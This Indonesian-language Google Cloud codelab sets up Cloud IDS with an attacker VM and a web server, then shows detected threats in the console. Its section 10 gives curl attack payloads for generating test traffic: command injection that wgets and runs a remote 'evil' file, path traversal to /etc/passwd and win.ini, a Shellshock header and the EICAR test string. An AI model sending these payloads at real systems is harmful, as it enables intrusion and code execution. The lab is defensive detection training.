1. Pengantar
Di lab ini, Anda akan men-deploy Cloud IDS, layanan deteksi penyusupan canggih generasi berikutnya yang menyediakan deteksi ancaman untuk intrusi, malware, spyware, serta serangan perintah dan kontrol. Anda akan menyimulasikan beberapa serangan dan melihat detail ancaman di Konsol Cloud.
Yang akan Anda pelajari
- Cara membuat endpoint Cloud IDS
- Cara membuat 2 virtual machine dengan perintah gcloud
- Cara membuat kebijakan duplikasi paket
- Cara menyimulasikan traffic serangan dari virtual machine
- Cara melihat detail ancaman di Cloud Console dan Cloud Logging
Yang Anda butuhkan
- Pengetahuan tentang perintah Linux dasar
2. Kasus penggunaan Cloud IDS
Cloud IDS menyediakan Layanan Deteksi Penyusupan (IDS) Generasi Berikutnya yang bersifat native Google Cloud bagi pelanggan untuk memenuhi persyaratan deteksi ancaman tingkat lanjut dan kepatuhan mereka seperti PCI 11.4. Layanan ini didukung oleh teknologi perlindungan terhadap ancaman dari Palo Alto Networks untuk memberikan deteksi intrusi tingkat lanjut. Dengan menggabungkan infrastruktur kelas dunia Google Cloud dengan keamanan kelas dunia dari Palo Alto Networks, pelanggan akan mendapatkan kombinasi yang tak tertandingi dari layanan deteksi ancaman tingkat lanjut yang dikelola sepenuhnya, berperforma tinggi, dan memiliki efikasi keamanan tertinggi.
Saat pelanggan bermigrasi ke cloud, keamanan menjadi prioritas utama bagi mereka. Mereka ingin memiliki kontrol keamanan serupa seperti yang mereka miliki di lokal, seperti Layanan deteksi intrusi (IDS) di cloud. Mereka lebih memilih untuk menggunakan solusi IDS terkelola yang cloud-native karena kemudahan deployment, performa tinggi, dan biaya yang dioptimalkan dibandingkan dengan men-deploy solusi keamanan pihak ketiga dan mengelola infrastruktur atau menggunakan tanda tangan mereka sendiri. Google Cloud IDS menyediakan layanan IDS terkelola end-to-end dan penskalaan otomatis yang memungkinkan pelanggan menghabiskan waktu untuk menganalisis dan memitigasi ancaman serta membebaskan waktu dan resource mereka untuk mengelola infrastruktur atau signature ancaman.
Cloud IDS di-deploy di luar band dan dapat mendeteksi serta memberikan pemberitahuan tentang ancaman, tetapi tidak dapat memblokir ancaman. Layanan ini memanfaatkan Duplikasi Paket Google Cloud untuk membuat salinan traffic jaringan yang dianalisis menggunakan mesin deteksi ancaman Palo Alto Networks.
3. Topologi codelab

Gambar 1. Ringkasan arsitektur tingkat tinggi deployment Cloud IDS untuk lab ini.
4. Penyiapan dan Persyaratan
Penyiapan lingkungan mandiri
- Login ke Google Cloud Console dan buat project baru atau gunakan kembali project yang sudah ada. Jika belum memiliki akun Gmail atau Google Workspace, Anda harus membuatnya.



- Project name adalah nama tampilan untuk peserta project ini. String ini adalah string karakter yang tidak digunakan oleh Google API, dan Anda dapat memperbaruinya kapan saja.
- Project ID harus unik di semua project Google Cloud dan tidak dapat diubah (tidak dapat diubah setelah ditetapkan). Cloud Console otomatis menghasilkan string unik; biasanya Anda tidak peduli dengan kata-katanya. Pada sebagian besar codelab, Anda harus mereferensikan Project ID (dan biasanya diidentifikasi sebagai
PROJECT_ID). Jadi, jika Anda tidak menyukainya, buat ID acak lain, atau, Anda dapat mencoba sendiri dan melihat apakah tersedia. Kemudian file akan "dibekukan" setelah project dibuat. - Ada nilai ketiga, Nomor Project yang digunakan oleh beberapa API. Pelajari lebih lanjut ketiga nilai ini di dokumentasi.
- Selanjutnya, Anda harus mengaktifkan penagihan di Cloud Console untuk menggunakan API/resource Cloud. Menjalankan operasi dalam codelab ini seharusnya tidak memerlukan banyak biaya, bahkan mungkin tidak sama sekali. Untuk menonaktifkan resource agar tidak menimbulkan penagihan di luar tutorial ini, ikuti petunjuk "pembersihan" yang ada di akhir codelab. Pengguna baru Google Cloud memenuhi syarat untuk mengikuti program Uji Coba Gratis senilai $300 USD.
Mulai Cloud Shell
Meskipun Google Cloud dapat dioperasikan dari jarak jauh menggunakan laptop Anda, dalam codelab ini, Anda akan menggunakan Google Cloud Shell, lingkungan command line yang berjalan di Cloud.
Dari Konsol GCP, klik ikon Cloud Shell di toolbar kanan atas:

Hanya perlu waktu beberapa saat untuk penyediaan dan terhubung ke lingkungan. Jika sudah selesai, Anda akan melihat tampilan seperti ini:

Mesin virtual ini berisi semua alat pengembangan yang Anda perlukan. Layanan ini menawarkan direktori beranda tetap sebesar 5 GB dan beroperasi di Google Cloud, sehingga sangat meningkatkan performa dan autentikasi jaringan. Semua pekerjaan Anda di lab ini dapat dilakukan hanya dengan browser.
5. Sebelum memulai
Mengaktifkan API
Di dalam Cloud Shell, pastikan project ID Anda sudah disiapkan
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Aktifkan semua layanan yang diperlukan
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Buat jaringan VPC
Jaringan VPC
Dari Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Subnet
Dari Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Akses Layanan Pribadi
Dari Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Private Service Connection
Dari Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Aturan Firewall
Untuk mengizinkan IAP terhubung ke instance VM Anda, buat aturan firewall yang:
- Berlaku untuk semua instance VM yang ingin Anda akses menggunakan IAP.
- Mengizinkan traffic masuk dari rentang IP 35.235.240.0/20. Rentang ini berisi semua alamat IP yang digunakan IAP untuk penerusan TCP.
Dari Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Untuk mengizinkan port HTTP standar (TCP 80) dan protokol ICMP ke server:
- Berlaku untuk resource dengan tag jaringan "server"
- Mengizinkan ingress dari semua sumber
Dari Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Buat instance Cloud NAT
Cloud Router
Dari Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Dari Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Membuat endpoint Cloud IDS
Di bagian ini, Anda akan membuat Endpoint Cloud IDS di us-east1, dengan tingkat keparahan yang ditetapkan ke informasi. Pembuatan endpoint IDS memerlukan waktu sekitar 20 menit.
Endpoint IDS
Dari Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Memverifikasi bahwa endpoint Cloud IDS telah dimulai
gcloud ids endpoints list --project=$PROJECT_ID
Output -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Buat 2 Virtual Machine
Di bagian ini, Anda akan membuat 2 virtual machine. Yang pertama adalah server web Anda yang mencerminkan Cloud IDS. Mesin virtual kedua akan menjadi sumber traffic serangan Anda.
Virtual Machine 1 (Server)
Dari Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Virtual Machine 2 (Klien)
Dari Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Mempersiapkan Server
Dalam tugas ini, Anda akan memvalidasi server dan menyediakan payload malware yang tidak berbahaya untuk klien.
Menghubungkan SSH ke VM melalui Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Memastikan layanan web berjalan
sudo systemctl status nginx
Output - verifikasi aktif dan berjalan
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Ubah direktori ke layanan web
cd /var/www/html/
Buat file malware tidak berbahaya di server web
sudo touch eicar.file
Tempelkan konten
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Kembali ke Cloud Shell
exit
Membuat kebijakan duplikasi paket Cloud IDS
Identifikasi Aturan Penerusan Endpoint IDS dan konfirmasi bahwa status Endpoint IDS adalah "SIAP".
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Contoh Output - Salin nilai dari "endpointForwardingRule"
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Simpan Aturan Penerusan Endpoint IDS ke dalam variabel.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Kebijakan Duplikasi Paket
Dari Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Memverifikasi bahwa kebijakan duplikasi paket telah dibuat
Dari Cloud Shell
gcloud compute packet-mirrorings list
Output
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Menyimulasikan traffic serangan
Hubungkan SSH ke virtual machine penyerang (Klien)
Dari Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Jalankan permintaan curl berikut untuk menyimulasikan traffic berbahaya.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Keluar dari VM untuk kembali ke Cloud Shell
exit
11. Meninjau ancaman yang terdeteksi oleh Cloud IDS
Buka Dasbor Cloud IDS
Navigation Menu > Network Security > Cloud IDS

Buka tab Threats.

Seperti yang dapat Anda lihat, Cloud IDS merekam berbagai profil traffic serangan dan memberikan detail tentang setiap ancaman. Anda mungkin perlu mengklik tombol "Muat ulang" jika tidak melihat ancaman apa pun. Sekarang kita akan membahas lebih dalam dan melihat detail ancaman.
Temukan ancaman "Bash Remote Code Execution Vulnerability", klik tiga titik di sebelah kanan, lalu pilih "Lihat detail ancaman"


Sekarang kita akan melihat detail insiden ini di Cloud Logging. Kembali ke halaman Ancaman dengan mengklik panah yang mengarah ke kiri .
Klik tiga titik di sebelah kanan, lalu pilih "Lihat log ancaman".


Detail yang sama diberikan ke Cloud Logging. Dengan begitu, Anda dapat mengirim log ke Cloud Storage, Chronicle, atau SIEM/SOAR apa pun. Anda juga dapat membuat alur kerja kustom untuk melakukan tindakan perbaikan berdasarkan pemberitahuan, misalnya membuat fungsi cloud yang dipicu oleh pemberitahuan dan membuat/memperbarui aturan firewall untuk memblokir alamat IP, atau membuat/memperbarui kebijakan Cloud Armor.
12. Langkah-langkah pembersihan
Keluar dari instance VM (semua tab)
exit
Menghapus komponen lab dari satu terminal Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Selamat!
Selamat, Anda telah menyelesaikan codelab.
Yang telah kita bahas
- Kasus penggunaan Cloud IDS
- Persyaratan jaringan
- API yang didukung
- Membuat endpoint Cloud IDS
- Men-deploy 2 VM
- Membuat beberapa traffic "serangan" dari klien
- Ancaman terverifikasi terdeteksi oleh IDS
- Meninjau detail dan log ancaman